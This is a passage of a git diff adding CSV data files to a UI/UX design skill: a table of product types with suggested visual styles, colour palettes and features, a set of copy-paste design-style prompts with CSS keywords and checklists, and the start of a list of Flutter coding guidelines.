Minimal accent,Portfolio gallery. Before/after. Service packages. Booking system. Client galleries. Full-bleed imagery. +56,Coworking Space,"coworking, space",Vibrant & Block-based + Glassmorphism,"Minimalism, Motion-Driven",Hero-Centric Design + Feature-Rich,Occupancy Dashboard,Energetic colors + Wood tones + Brand accent,Space tour. Membership plans. Booking system. Amenities. Community events. Virtual tour. +57,Cleaning Service,"appointment, booking, cleaning, consultation, service",Soft UI Evolution + Flat Design,"Minimalism, Micro-interactions",Conversion-Optimized + Trust,Service Analytics,Fresh Blue (#00B4D8) + Clean White + Green,Service packages. Booking system. Price calculator. Before/after gallery. Reviews. Trust badges. +58,Home Services (Plumber/Electrician),"appointment, booking, consultation, electrician, home, plumber, service, services",Flat Design + Trust & Authority,"Minimalism, Accessible & Ethical",Conversion-Optimized + Trust,Service Analytics,Trust Blue + Safety Orange + Professional grey,Service list. Emergency contact. Booking. Price transparency. Certifications. Local trust signals. +59,Childcare/Daycare,"childcare, daycare",Claymorphism + Vibrant & Block-based,"Soft UI Evolution, Accessible & Ethical",Social Proof-Focused + Trust,Parent Dashboard,Playful pastels + Safe colors + Warm accents,Programs. Staff profiles. Safety certifications. Parent portal. Activity updates. Cheerful imagery. +60,Senior Care/Elderly,"care, elderly, senior",Accessible & Ethical + Soft UI Evolution,"Minimalism, Neumorphism",Trust & Authority + Social Proof,Healthcare Analytics,Calm Blue + Warm neutrals + Large text,Care services. Staff qualifications. Facility tour. Family portal. Large touch targets. High contrast. Accessibility-first. +61,Medical Clinic,"clinic, medical",Accessible & Ethical + Minimalism,"Neumorphism, Trust & Authority",Trust & Authority + Conversion,Healthcare Analytics,Medical Blue (#0077B6) + Trust White + Calm Green,Services. Doctor profiles. Online booking. Patient portal. Insurance info. HIPAA compliant. Trust signals. +62,Pharmacy/Drug Store,"drug, pharmacy, store",Flat Design + Accessible & Ethical,"Minimalism, Trust & Authority",Conversion-Optimized + Trust,Inventory Dashboard,Pharmacy Green + Trust Blue + Clean White,Product catalog. Prescription upload. Refill reminders. Health info. Store locator. Safety certifications. +63,Dental Practice,"dental, practice",Soft UI Evolution + Minimalism,"Accessible & Ethical, Trust & Authority",Social Proof-Focused + Conversion,Patient Analytics,Fresh Blue + White + Smile Yellow accent,Services. Dentist profiles. Before/after. Online booking. Insurance. Patient testimonials. Friendly imagery. +64,Veterinary Clinic,"clinic, veterinary",Claymorphism + Accessible & Ethical,"Soft UI Evolution, Flat Design",Social Proof-Focused + Trust,Pet Health Dashboard,Caring Blue + Pet-friendly colors + Warm accents,Pet services. Vet profiles. Online booking. Pet portal. Emergency info. Friendly animal imagery. +65,Florist/Plant Shop,"florist, plant, shop",Organic Biophilic + Vibrant & Block-based,"Aurora UI, Motion-Driven",Hero-Centric Design + Conversion,E-commerce Analytics,Natural Green + Floral pinks/purples + Earth tones,Product catalog. Occasion categories. Delivery scheduling. Care guides. Seasonal collections. Beautiful imagery. +66,Bakery/Cafe,"bakery, cafe",Vibrant & Block-based + Soft UI Evolution,"Claymorphism, Motion-Driven",Hero-Centric Design + Conversion,N/A - Order focused,Warm Brown + Cream + Appetizing accents,Menu display. Online ordering. Location/hours. Catering. Seasonal specials. Appetizing photography. +67,Coffee Shop,"coffee, shop",Minimalism + Organic Biophilic,"Soft UI Evolution, Flat Design",Hero-Centric Design + Conversion,N/A - Order focused,Coffee Brown (#6F4E37) + Cream + Warm accents,Menu. Online ordering. Loyalty program. Location. Story/origin. Cozy aesthetic. +68,Brewery/Winery,"brewery, winery",Motion-Driven + Storytelling-Driven,"Dark Mode (OLED), Organic Biophilic",Storytelling-Driven + Hero-Centric,N/A - E-commerce focused,Deep amber/burgundy + Gold + Craft aesthetic,Product showcase. Story/heritage. Tasting notes. Events. Club membership. Artisanal imagery. +69,Airline,"ai, airline, artificial-intelligence, automation, machine-learning, ml",Minimalism + Glassmorphism,"Motion-Driven, Accessible & Ethical",Conversion-Optimized + Feature-Rich,Operations Dashboard,Sky Blue + Brand colors + Trust accents,Flight search. Booking. Check-in. Boarding pass. Loyalty program. Route maps. Mobile-first. +70,News/Media Platform,"content, entertainment, media, news, platform, streaming, video",Minimalism + Flat Design,"Dark Mode (OLED), Accessible & Ethical",Hero-Centric Design + Feature-Rich,Media Analytics Dashboard,Brand colors + High contrast + Category colors,Article layout. Breaking news. Categories. Search. Subscription. Mobile reading. Fast loading. +71,Magazine/Blog,"articles, blog, content, magazine, posts, writing",Swiss Modernism 2.0 + Motion-Driven,"Minimalism, Aurora UI",Storytelling-Driven + Hero-Centric,Content Analytics,Editorial colors + Brand primary + Clean white,Article showcase. Category navigation. Author profiles. Newsletter signup. Related content. Typography-focused. +72,Freelancer Platform,"freelancer, platform",Flat Design + Minimalism,"Vibrant & Block-based, Micro-interactions",Feature-Rich Showcase + Conversion,Marketplace Analytics,Professional Blue + Success Green + Neutral,Profile creation. Portfolio. Skill matching. Messaging. Payment. Reviews. Project management. +73,Consulting Firm,"consulting, firm",Trust & Authority + Minimalism,"Swiss Modernism 2.0, Accessible & Ethical",Trust & Authority + Feature-Rich,N/A - Lead generation,Navy + Gold + Professional grey,Service areas. Case studies. Team profiles. Thought leadership. Contact. Professional credibility. +74,Marketing Agency,"agency, creative, design, marketing, studio",Brutalism + Motion-Driven,"Vibrant & Block-based, Aurora UI",Storytelling-Driven + Feature-Rich,Campaign Analytics,Bold brand colors + Creative freedom,Portfolio. Case studies. Services. Team. Creative showcase. Results-focused. Bold aesthetic. +75,Event Management,"conference, event, management, meetup, registration, ticket",Vibrant & Block-based + Motion-Driven,"Glassmorphism, Aurora UI",Hero-Centric Design + Feature-Rich,Event Analytics,Event theme colors + Excitement accents,Event showcase. Registration. Agenda. Speakers. Sponsors. Ticket sales. Countdown timer. +76,Conference/Webinar Platform,"conference, platform, webinar",Glassmorphism + Minimalism,"Motion-Driven, Flat Design",Feature-Rich Showcase + Conversion,Attendee Analytics,Professional Blue + Video accent + Brand,Registration. Agenda. Speaker profiles. Live stream. Networking. Recording access. Virtual event features. +77,Membership/Community,"community, membership",Vibrant & Block-based + Soft UI Evolution,"Bento Box Grid, Micro-interactions",Social Proof-Focused + Conversion,Community Analytics,Community brand colors + Engagement accents,Member benefits. Pricing tiers. Community showcase. Events. Member directory. Exclusive content. +78,Newsletter Platform,"newsletter, platform",Minimalism + Flat Design,"Swiss Modernism 2.0, Accessible & Ethical",Minimal & Direct + Conversion,Email Analytics,Brand primary + Clean white + CTA accent,Subscribe form. Archive. About. Social proof. Sample content. Simple conversion. +79,Digital Products/Downloads,"digital, downloads, products",Vibrant & Block-based + Motion-Driven,"Glassmorphism, Bento Box Grid",Feature-Rich Showcase + Conversion,E-commerce Analytics,Product category colors + Brand + Success green,Product showcase. Preview. Pricing. Instant delivery. License management. Customer reviews. +80,Church/Religious Organization,"church, organization, religious",Accessible & Ethical + Soft UI Evolution,"Minimalism, Trust & Authority",Hero-Centric Design + Social Proof,N/A - Community focused,Warm Gold + Deep Purple/Blue + White,Service times. Events. Sermons. Community. Giving. Location. Welcoming imagery. +81,Sports Team/Club,"club, sports, team",Vibrant & Block-based + Motion-Driven,"Dark Mode (OLED), 3D & Hyperrealism",Hero-Centric Design + Feature-Rich,Performance Analytics,Team colors + Energetic accents,Schedule. Roster. News. Tickets. Merchandise. Fan engagement. Action imagery. +82,Museum/Gallery,"gallery, museum",Minimalism + Motion-Driven,"Swiss Modernism 2.0, 3D & Hyperrealism",Storytelling-Driven + Feature-Rich,Visitor Analytics,Art-appropriate neutrals + Exhibition accents,Exhibitions. Collections. Tickets. Events. Virtual tours. Educational content. Art-focused design. +83,Theater/Cinema,"cinema, theater",Dark Mode (OLED) + Motion-Driven,"Vibrant & Block-based, Glassmorphism",Hero-Centric Design + Conversion,Booking Analytics,Dark + Spotlight accents + Gold,Showtimes. Seat selection. Trailers. Coming soon. Membership. Dramatic imagery. +84,Language Learning App,"app, language, learning",Claymorphism + Vibrant & Block-based,"Micro-interactions, Flat Design",Feature-Rich Showcase + Social Proof,Learning Analytics,Playful colors + Progress indicators + Country flags,Lesson structure. Progress tracking. Gamification. Speaking practice. Community. Achievement badges. +85,Coding Bootcamp,"bootcamp, coding",Dark Mode (OLED) + Minimalism,"Cyberpunk UI, Flat Design",Feature-Rich Showcase + Social Proof,Student Analytics,Code editor colors + Brand + Success green,Curriculum. Projects. Career outcomes. Alumni. Pricing. Application. Terminal aesthetic. +86,Cybersecurity Platform,"cyber, security, platform",Cyberpunk UI + Dark Mode (OLED),"Neubrutalism, Minimal & Direct",Trust & Authority + Real-Time,Real-Time Monitoring + Heat Map,Matrix Green + Deep Black + Terminal feel,Data density. Threat visualization. Dark mode default. +87,Developer Tool / IDE,"dev, developer, tool, ide",Dark Mode (OLED) + Minimalism,"Flat Design, Bento Box Grid",Minimal & Direct + Documentation,Real-Time Monitor + Terminal,Dark syntax theme colors + Blue focus,Keyboard shortcuts. Syntax highlighting. Fast performance. +88,Biotech / Life Sciences,"biotech, biology, science",Glassmorphism + Clean Science,"Minimalism, Organic Biophilic",Storytelling-Driven + Research,Data-Dense + Predictive,Sterile White + DNA Blue + Life Green,Data accuracy. Cleanliness. Complex data viz. +89,Space Tech / Aerospace,"aerospace, space, tech",Holographic / HUD + Dark Mode,"Glassmorphism, 3D & Hyperrealism",Immersive Experience + Hero,Real-Time Monitoring + 3D,Deep Space Black + Star White + Metallic,High-tech feel. Precision. Telemetry data. +90,Architecture / Interior,"architecture, design, interior",Exaggerated Minimalism + High Imagery,"Swiss Modernism 2.0, Parallax",Portfolio Grid + Visuals,Project Management + Gallery,Monochrome + Gold Accent + High Imagery,High-res images. Typography. Space. +91,Quantum Computing Interface,"quantum, computing, physics, qubit, future, science",Holographic / HUD + Dark Mode,"Glassmorphism, Spatial UI",Immersive/Interactive Experience,3D Spatial Data + Real-Time Monitor,Quantum Blue #00FFFF + Deep Black + Interference patterns,Visualize complexity. Qubit states. Probability clouds. High-tech trust. +92,Biohacking / Longevity App,"biohacking, health, longevity, tracking, wellness, science",Biomimetic / Organic 2.0,"Minimalism, Dark Mode (OLED)",Data-Dense + Storytelling,Real-Time Monitor + Biological Data,Cellular Pink/Red + DNA Blue + Clean White,Personal data privacy. Scientific credibility. Biological visualizations. +93,Autonomous Drone Fleet Manager,"drone, autonomous, fleet, aerial, logistics, robotics",HUD / Sci-Fi FUI,"Real-Time Monitor, Spatial UI",Real-Time Monitor,Geographic + Real-Time,Tactical Green #00FF00 + Alert Red + Map Dark,Real-time telemetry. 3D spatial awareness. Latency indicators. Safety alerts. +94,Generative Art Platform,"art, generative, ai, creative, platform, gallery",Minimalism (Frame) + Gen Z Chaos,"Masonry Grid, Dark Mode",Bento Grid Showcase,Gallery / Portfolio,Neutral #F5F5F5 (Canvas) + User Content,Content is king. Fast loading. Creator attribution. Minting flow. +95,Spatial Computing OS / App,"spatial, vr, ar, vision, os, immersive, mixed-reality",Spatial UI (VisionOS),"Glassmorphism, 3D & Hyperrealism",Immersive/Interactive Experience,Spatial Dashboard,Frosted Glass + System Colors + Depth,Gaze/Pinch interaction. Depth hierarchy. Environment awareness. +96,Sustainable Energy / Climate Tech,"climate, energy, sustainable, green, tech, carbon",Organic Biophilic + E-Ink / Paper,"Data-Dense, Swiss Modernism",Interactive Demo + Data,Energy/Utilities Dashboard,Earth Green + Sky Blue + Solar Yellow,Data transparency. Impact visualization. Low-carbon web design. \ No newline at end of file diff --git a/skills/ui-ux-pro-max/data/prompts.csv b/skills/ui-ux-pro-max/data/prompts.csv new file mode 100644 index 00000000..3d045bd1 --- /dev/null +++ b/skills/ui-ux-pro-max/data/prompts.csv @@ -0,0 +1,24 @@ +STT,Style Category,AI Prompt Keywords (Copy-Paste Ready),CSS/Technical Keywords,Implementation Checklist,Design System Variables +1,Minimalism & Swiss Style,"Design a minimalist landing page. Use: white space, geometric layouts, sans-serif fonts, high contrast, grid-based structure, essential elements only. Avoid shadows and gradients. Focus on clarity and functionality.","display: grid, gap: 2rem, font-family: sans-serif, color: #000 or #FFF, max-width: 1200px, clean borders, no box-shadow unless necessary","☐ Grid-based layout 12-16 columns, ☐ Typography hierarchy clear, ☐ No unnecessary decorations, ☐ WCAG AAA contrast verified, ☐ Mobile responsive grid","--spacing: 2rem, --border-radius: 0px, --font-weight: 400-700, --shadow: none, --accent-color: single primary only" +2,Neumorphism,"Create a neumorphic UI with soft 3D effects. Use light pastels, rounded corners (12-16px), subtle soft shadows (multiple layers), no hard lines, monochromatic color scheme with light/dark variations. Embossed/debossed effect on interactive elements.","border-radius: 12-16px, box-shadow: -5px -5px 15px rgba(0,0,0,0.1), 5px 5px 15px rgba(255,255,255,0.8), background: linear-gradient(145deg, color1, color2), transform: scale on press","☐ Rounded corners 12-16px consistent, ☐ Multiple shadow layers (2-3), ☐ Pastel color verified, ☐ Monochromatic palette checked, ☐ Press animation smooth 150ms","--border-radius: 14px, --shadow-soft-1: -5px -5px 15px, --shadow-soft-2: 5px 5px 15px, --color-light: #F5F5F5, --color-primary: single pastel" +3,Glassmorphism,"Design a glassmorphic interface with frosted glass effect. Use backdrop blur (10-20px), translucent overlays (rgba 10-30% opacity), vibrant background colors, subtle borders, light source reflection, layered depth. Perfect for modern overlays and cards.","backdrop-filter: blur(15px), background: rgba(255, 255, 255, 0.15), border: 1px solid rgba(255,255,255,0.2), -webkit-backdrop-filter: blur(15px), z-index layering for depth","☐ Backdrop-filter blur 10-20px, ☐ Translucent white 15-30% opacity, ☐ Subtle border 1px light, ☐ Vibrant background verified, ☐ Text contrast 4.5:1 checked","--blur-amount: 15px, --glass-opacity: 0.15, --border-color: rgba(255,255,255,0.2), --background: vibrant color, --text-color: light/dark based on BG" +4,Brutalism,"Create a brutalist design with raw, unpolished, stark aesthetic. Use pure primary colors (red, blue, yellow), black & white, no smooth transitions (instant), sharp corners, bold large typography, visible grid lines, default system fonts, intentional 'broken' design elements.","border-radius: 0px, transition: none or 0s, font-family: system-ui or monospace, font-weight: 700+, border: visible 2-4px, colors: #FF0000, #0000FF, #FFFF00, #000000, #FFFFFF","☐ No border-radius (0px), ☐ No transitions (instant), ☐ Bold typography (700+), ☐ Pure primary colors used, ☐ Visible grid/borders, ☐ Asymmetric layout intentional","--border-radius: 0px, --transition-duration: 0s, --font-weight: 700-900, --colors: primary only, --border-style: visible, --grid-visible: true" +5,3D & Hyperrealism,"Build an immersive 3D interface using realistic textures, 3D models (Three.js/Babylon.js), complex shadows, realistic lighting, parallax scrolling (3-5 layers), physics-based motion. Include skeuomorphic elements with tactile detail.","transform: translate3d, perspective: 1000px, WebGL canvas, Three.js/Babylon.js library, box-shadow: complex multi-layer, background: complex gradients, filter: drop-shadow()","☐ WebGL/Three.js integrated, ☐ 3D models loaded, ☐ Parallax 3-5 layers, ☐ Realistic lighting verified, ☐ Complex shadows rendered, ☐ Physics animation smooth 300-400ms","--perspective: 1000px, --parallax-layers: 5, --lighting-intensity: realistic, --shadow-depth: 20-40%, --animation-duration: 300-400ms" +6,Vibrant & Block-based,"Design an energetic, vibrant interface with bold block layouts, geometric shapes, high color contrast, large typography (32px+), animated background patterns, duotone effects. Perfect for startups and youth-focused apps. Use 4-6 contrasting colors from complementary/triadic schemes.","display: flex/grid with large gaps (48px+), font-size: 32px+, background: animated patterns (CSS), color: neon/vibrant colors, animation: continuous pattern movement","☐ Block layout with 48px+ gaps, ☐ Large typography 32px+, ☐ 4-6 vibrant colors max, ☐ Animated patterns active, ☐ Scroll-snap enabled, ☐ High contrast verified (7:1+)","--block-gap: 48px, --typography-size: 32px+, --color-palette: 4-6 vibrant colors, --animation: continuous pattern, --contrast-ratio: 7:1+" +7,Dark Mode (OLED),"Create an OLED-optimized dark interface with deep black (#000000), dark grey (#121212), midnight blue accents. Use minimal glow effects, vibrant neon accents (green, blue, gold, purple), high contrast text. Optimize for eye comfort and OLED power saving.","background: #000000 or #121212, color: #FFFFFF or #E0E0E0, text-shadow: 0 0 10px neon-color (sparingly), filter: brightness(0.8) if needed, color-scheme: dark","☐ Deep black #000000 or #121212, ☐ Vibrant neon accents used, ☐ Text contrast 7:1+, ☐ Minimal glow effects, ☐ OLED power optimization, ☐ No white (#FFFFFF) background","--bg-black: #000000, --bg-dark-grey: #121212, --text-primary: #FFFFFF, --accent-neon: neon colors, --glow-effect: minimal, --oled-optimized: true" +8,Accessible & Ethical,"Design with WCAG AAA compliance. Include: high contrast (7:1+), large text (16px+), keyboard navigation, screen reader compatibility, focus states visible (3-4px ring), semantic HTML, ARIA labels, skip links, reduced motion support (prefers-reduced-motion), 44x44px touch targets.","color-contrast: 7:1+, font-size: 16px+, outline: 3-4px on :focus-visible, aria-label, role attributes, @media (prefers-reduced-motion), touch-target: 44x44px, cursor: pointer","☐ WCAG AAA verified, ☐ 7:1+ contrast checked, ☐ Keyboard navigation tested, ☐ Screen reader tested, ☐ Focus visible 3-4px, ☐ Semantic HTML used, ☐ Touch targets 44x44px","--contrast-ratio: 7:1, --font-size-min: 16px, --focus-ring: 3-4px, --touch-target: 44x44px, --wcag-level: AAA, --keyboard-accessible: true, --sr-tested: true" +9,Claymorphism,"Design a playful, toy-like interface with soft 3D, chunky elements, bubbly aesthetic, rounded edges (16-24px), thick borders (3-4px), double shadows (inner + outer), pastel colors, smooth animations. Perfect for children's apps and creative tools.","border-radius: 16-24px, border: 3-4px solid, box-shadow: inset -2px -2px 8px, 4px 4px 8px, background: pastel-gradient, animation: soft bounce (cubic-bezier 0.34, 1.56)","☐ Border-radius 16-24px, ☐ Thick borders 3-4px, ☐ Double shadows (inner+outer), ☐ Pastel colors used, ☐ Soft bounce animations, ☐ Playful interactions","--border-radius: 20px, --border-width: 3-4px, --shadow-inner: inset -2px -2px 8px, --shadow-outer: 4px 4px 8px, --color-palette: pastels, --animation: bounce" +10,Aurora UI,"Create a vibrant gradient interface inspired by Northern Lights with mesh gradients, smooth color blends, flowing animations. Use complementary color pairs (blue-orange, purple-yellow), flowing background gradients, subtle continuous animations (8-12s loops), iridescent effects.","background: conic-gradient or radial-gradient with multiple stops, animation: @keyframes gradient (8-12s), background-size: 200% 200%, filter: saturate(1.2), blend-mode: screen or multiply","☐ Mesh/flowing gradients applied, ☐ 8-12s animation loop, ☐ Complementary colors used, ☐ Smooth color transitions, ☐ Iridescent effect subtle, ☐ Text contrast verified","--gradient-colors: complementary pairs, --animation-duration: 8-12s, --blend-mode: screen, --color-saturation: 1.2, --effect: iridescent, --loop-smooth: true" +11,Retro-Futurism,"Build a retro-futuristic (cyberpunk/vaporwave) interface with neon colors (blue, pink, cyan), deep black background, 80s aesthetic, CRT scanlines, glitch effects, neon glow text/borders, monospace fonts, geometric patterns. Use neon text-shadow and animated glitch effects.","color: neon colors (#0080FF, #FF006E, #00FFFF), text-shadow: 0 0 10px neon, background: #000 or #1A1A2E, font-family: monospace, animation: glitch (skew+offset), filter: hue-rotate","☐ Neon colors used, ☐ CRT scanlines effect, ☐ Glitch animations active, ☐ Monospace font, ☐ Deep black background, ☐ Glow effects applied, ☐ 80s patterns present","--neon-colors: #0080FF #FF006E #00FFFF, --background: #000000, --font-family: monospace, --effect: glitch+glow, --scanline-opacity: 0.3, --crt-effect: true" +12,Flat Design,"Create a flat, 2D interface with bold colors, no shadows/gradients, clean lines, simple geometric shapes, icon-heavy, typography-focused, minimal ornamentation. Use 4-6 solid, bright colors in a limited palette with high saturation.","box-shadow: none, background: solid color, border-radius: 0-4px, color: solid (no gradients), fill: solid, stroke: 1-2px, font: bold sans-serif, icons: simplified SVG","☐ No shadows/gradients, ☐ 4-6 solid colors max, ☐ Clean lines consistent, ☐ Simple shapes used, ☐ Icon-heavy layout, ☐ High saturation colors, ☐ Fast loading verified","--shadow: none, --color-palette: 4-6 solid, --border-radius: 2px, --gradient: none, --icons: simplified SVG, --animation: minimal 150-200ms" +13,Skeuomorphism,"Design a realistic, textured interface with 3D depth, real-world metaphors (leather, wood, metal), complex gradients (8-12 stops), realistic shadows, grain/texture overlays, tactile press animations. Perfect for premium/luxury products.","background: complex gradient (8-12 stops), box-shadow: realistic multi-layer, background-image: texture overlay (noise, grain), filter: drop-shadow, transform: scale on press (300-500ms)","☐ Realistic textures applied, ☐ Complex gradients 8-12 stops, ☐ Multi-layer shadows, ☐ Texture overlays present, ☐ Tactile animations smooth, ☐ Depth effect pronounced","--gradient-stops: 8-12, --texture-overlay: noise+grain, --shadow-layers: 3+, --animation-duration: 300-500ms, --depth-effect: pronounced, --tactile: true" +14,Liquid Glass,"Create a premium liquid glass effect with morphing shapes, flowing animations, chromatic aberration, iridescent gradients, smooth 400-600ms transitions. Use SVG morphing for shape changes, dynamic blur, smooth color transitions creating a fluid, premium feel.","animation: morphing SVG paths (400-600ms), backdrop-filter: blur + saturate, filter: hue-rotate + brightness, blend-mode: screen, background: iridescent gradient","☐ Morphing animations 400-600ms, ☐ Chromatic aberration applied, ☐ Dynamic blur active, ☐ Iridescent gradients, ☐ Smooth color transitions, ☐ Premium feel achieved","--morph-duration: 400-600ms, --blur-amount: 15px, --chromatic-aberration: true, --iridescent: true, --blend-mode: screen, --smooth-transitions: true" +15,Motion-Driven,"Build an animation-heavy interface with scroll-triggered animations, microinteractions, parallax scrolling (3-5 layers), smooth transitions (300-400ms), entrance animations, page transitions. Use Intersection Observer for scroll effects, transform for performance, GPU acceleration.","animation: @keyframes scroll-reveal, transform: translateY/X, Intersection Observer API, will-change: transform, scroll-behavior: smooth, animation-duration: 300-400ms","☐ Scroll animations active, ☐ Parallax 3-5 layers, ☐ Entrance animations smooth, ☐ Page transitions fluid, ☐ GPU accelerated, ☐ Prefers-reduced-motion respected","--animation-duration: 300-400ms, --parallax-layers: 5, --scroll-behavior: smooth, --gpu-accelerated: true, --entrance-animation: true, --page-transition: smooth" +16,Micro-interactions,"Design with delightful micro-interactions: small 50-100ms animations, gesture-based responses, tactile feedback, loading spinners, success/error states, subtle hover effects, haptic feedback triggers for mobile. Focus on responsive, contextual interactions.","animation: short 50-100ms, transition: hover states, @media (hover: hover) for desktop, :active for press, haptic-feedback CSS/API, loading animation smooth loop","☐ Micro-animations 50-100ms, ☐ Gesture-responsive, ☐ Tactile feedback visual/haptic, ☐ Loading spinners smooth, ☐ Success/error states clear, ☐ Hover effects subtle","--micro-animation-duration: 50-100ms, --gesture-responsive: true, --haptic-feedback: true, --loading-animation: smooth, --state-feedback: success+error" +17,Inclusive Design,"Design for universal accessibility: high contrast (7:1+), large text (16px+), keyboard-only navigation, screen reader optimization, WCAG AAA compliance, symbol-based color indicators (not color-only), haptic feedback, voice interaction support, reduced motion options.","aria-* attributes complete, role attributes semantic, focus-visible: 3-4px ring, color-contrast: 7:1+, @media (prefers-reduced-motion), alt text on all images, form labels properly associated","☐ WCAG AAA verified, ☐ 7:1+ contrast all text, ☐ Keyboard accessible (Tab/Enter), ☐ Screen reader tested, ☐ Focus visible 3-4px, ☐ No color-only indicators, ☐ Haptic fallback","--contrast-ratio: 7:1, --font-size: 16px+, --keyboard-accessible: true, --sr-compatible: true, --wcag-level: AAA, --color-symbols: true, --haptic: enabled" +18,Zero Interface,"Create a voice-first, gesture-based, AI-driven interface with minimal visible UI, progressive disclosure, voice recognition UI, gesture detection, AI predictions, smart suggestions, context-aware actions. Hide controls until needed.","voice-commands: Web Speech API, gesture-detection: touch events, AI-predictions: hidden by default (reveal on hover), progressive-disclosure: show on demand, minimal UI visible","☐ Voice commands responsive, ☐ Gesture detection active, ☐ AI predictions hidden/revealed, ☐ Progressive disclosure working, ☐ Minimal visible UI, ☐ Smart suggestions contextual","--voice-ui: enabled, --gesture-detection: active, --ai-predictions: smart, --progressive-disclosure: true, --visible-ui: minimal, --context-aware: true" +19,Soft UI Evolution,"Design evolved neumorphism with improved contrast (WCAG AA+), modern aesthetics, subtle depth, accessibility focus. Use soft shadows (softer than flat but clearer than pure neumorphism), better color hierarchy, improved focus states, modern 200-300ms animations.","box-shadow: softer multi-layer (0 2px 4px), background: improved contrast pastels, border-radius: 8-12px, animation: 200-300ms smooth, outline: 2-3px on focus, contrast: 4.5:1+","☐ Improved contrast AA/AAA, ☐ Soft shadows modern, ☐ Border-radius 8-12px, ☐ Animations 200-300ms, ☐ Focus states visible, ☐ Color hierarchy clear","--shadow-soft: modern blend, --border-radius: 10px, --animation-duration: 200-300ms, --contrast-ratio: 4.5:1+, --color-hierarchy: improved, --wcag-level: AA+" +20,Bento Grids,"Design a Bento Grid layout. Use: modular grid system, rounded corners (16-24px), different card sizes (1x1, 2x1, 2x2), card-based hierarchy, soft backgrounds (#F5F5F7), subtle borders, content-first, Apple-style aesthetic.","display: grid, grid-template-columns: repeat(auto-fit, minmax(...)), gap: 1rem, border-radius: 20px, background: #FFF, box-shadow: subtle","☐ Grid layout (CSS Grid), ☐ Rounded corners 16-24px, ☐ Varied card spans, ☐ Content fits card size, ☐ Responsive re-flow, ☐ Apple-like aesthetic","--grid-gap: 20px, --card-radius: 24px, --card-bg: #FFFFFF, --page-bg: #F5F5F7, --shadow: soft" +21,Neubrutalism,"Design a neubrutalist interface. Use: high contrast, hard black borders (3px+), bright pop colors, no blur, sharp or slightly rounded corners, bold typography, hard shadows (offset 4px 4px), raw aesthetic but functional.","border: 3px solid black, box-shadow: 5px 5px 0px black, colors: #FFDB58 #FF6B6B #4ECDC4, font-weight: 700, no gradients","☐ Hard borders (2-4px), ☐ Hard offset shadows, ☐ High saturation colors, ☐ Bold typography, ☐ No blurs/gradients, ☐ Distinctive 'ugly-cute' look","--border-width: 3px, --shadow-offset: 4px, --shadow-color: #000, --colors: high saturation, --font: bold sans" +22,HUD / Sci-Fi FUI,"Design a futuristic HUD (Heads Up Display) or FUI. Use: thin lines (1px), neon cyan/blue on black, technical markers, decorative brackets, data visualization, monospaced tech fonts, glowing elements, transparency.","border: 1px solid rgba(0,255,255,0.5), color: #00FFFF, background: transparent or rgba(0,0,0,0.8), font-family: monospace, text-shadow: 0 0 5px cyan","☐ Fine lines 1px, ☐ Neon glow text/borders, ☐ Monospaced font, ☐ Dark/Transparent BG, ☐ Decorative tech markers, ☐ Holographic feel","--hud-color: #00FFFF, --bg-color: rgba(0,10,20,0.9), --line-width: 1px, --glow: 0 0 5px, --font: monospace" +23,Pixel Art,"Design a pixel art inspired interface. Use: pixelated fonts, 8-bit or 16-bit aesthetic, sharp edges (image-rendering: pixelated), limited color palette, blocky UI elements, retro gaming feel.","font-family: 'Press Start 2P', image-rendering: pixelated, box-shadow: 4px 0 0 #000 (pixel border), no anti-aliasing","☐ Pixelated fonts loaded, ☐ Images sharp (no blur), ☐ CSS box-shadow for pixel borders, ☐ Retro palette, ☐ Blocky layout","--pixel-size: 4px, --font: pixel font, --border-style: pixel-shadow, --anti-alias: none" diff --git a/skills/ui-ux-pro-max/data/stacks/flutter.csv b/skills/ui-ux-pro-max/data/stacks/flutter.csv new file mode 100644 index 00000000..b8dfd0d6 --- /dev/null +++ b/skills/ui-ux-pro-max/data/stacks/flutter.csv @@ -0,0 +1,53 @@ +No,Category,Guideline,Description,Do,Don't,Code Good,Code Bad,Severity,Docs URL +1,Widgets,Use StatelessWidget when possible,Immutable widgets are simpler,StatelessWidget for static UI,StatefulWidget for everything,class MyWidget extends StatelessWidget,class MyWidget extends StatefulWidget (static),Medium,https://api.flutter.dev/flutter/widgets/StatelessWidget-class.html +2,Widgets,Keep widgets small,Single responsibility principle,Extract widgets into smaller pieces,Large build methods,Column(children: [Header() Content()]),500+ line build method,Medium, +3,Widgets,Use const constructors,Compile-time constants for performance,const MyWidget() when possible,Non-const for static widgets,const Text('Hello'),Text('Hello') for literals,High,https://dart.dev/guides/language/language-tour#constant-constructors +4,Widgets,Prefer composition over inheritance,Combine widgets using children,Compose widgets,Extend widget classes,Container(child: MyContent()),class MyContainer extends Container,Medium, +5,State,Use setState correctly,Minimal state in StatefulWidget,setState for UI state changes,setState for business logic,setState(() { _counter++; }),Complex logic in setState,Medium,https://api.flutter.dev/flutter/widgets/State/setState.html +6,State,Avoid setState in build,Never call setState during build,setState in callbacks only,setState in build method,onPressed: () => setState(() {}),build() { setState(); },High, +7,State,Use state management for complex apps,Provider Riverpod BLoC,State management for shared state,setState for global state,Provider.of<MyState>(context),Global setState calls,Medium, +8,State,Prefer Riverpod or Provider,Recommended state solutions,Riverpod for new projects,InheritedWidget manually,ref.watch(myProvider),Custom InheritedWidget,Medium,https://riverpod.dev/ +9,State,Dispose resources,Clean up controllers and subscriptions,dispose() for cleanup,Memory leaks from subscriptions,@override void dispose() { controller.dispose(); },No dispose implementation,High, +10,Layout,Use Column and Row,Basic layout widgets,Column Row for linear layouts,Stack for simple layouts,"Column(children: [Text(), Button()])",Stack for vertical list,Medium,https://api.flutter.dev/flutter/widgets/Column-class.html +11,Layout,Use Expanded and Flexible,Control flex behavior,Expanded to fill space,Fixed sizes in flex containers,Expanded(child: Container()),Container(width: 200) in Row,Medium, +12,Layout,Use SizedBox for spacing,Consistent spacing,SizedBox for gaps,Container for spacing only,SizedBox(height: 16),Container(height: 16),Low, +13,Layout,Use LayoutBuilder for responsive,Respond to constraints,LayoutBuilder for adaptive layouts,Fixed sizes for responsive,LayoutBuilder(builder: (context constraints) {}),Container(width: 375),Medium,https://api.flutter.dev/flutter/widgets/LayoutBuilder-class.html +14,Layout,Avoid deep nesting,Keep widget tree shallow,Extract deeply nested widgets,10+ levels of nesting,Extract widget to method or class,Column(Row(Column(Row(...)))),Medium, +15,Lists,Use ListView.builder,Lazy list building,ListView.builder for long lists,ListView with children for large lists,"ListView.builder(itemCount: 100, itemBuilder: ...)",ListView(children: items.map(...).toList()),High,https://api.flutter.dev/flutter/widgets/ListView-class.html +16,Lists,Provide itemExtent when known,Skip measurement,itemExtent for fixed height items,No itemExtent for uniform lists,ListView.builder(itemExtent: 50),ListView.builder without 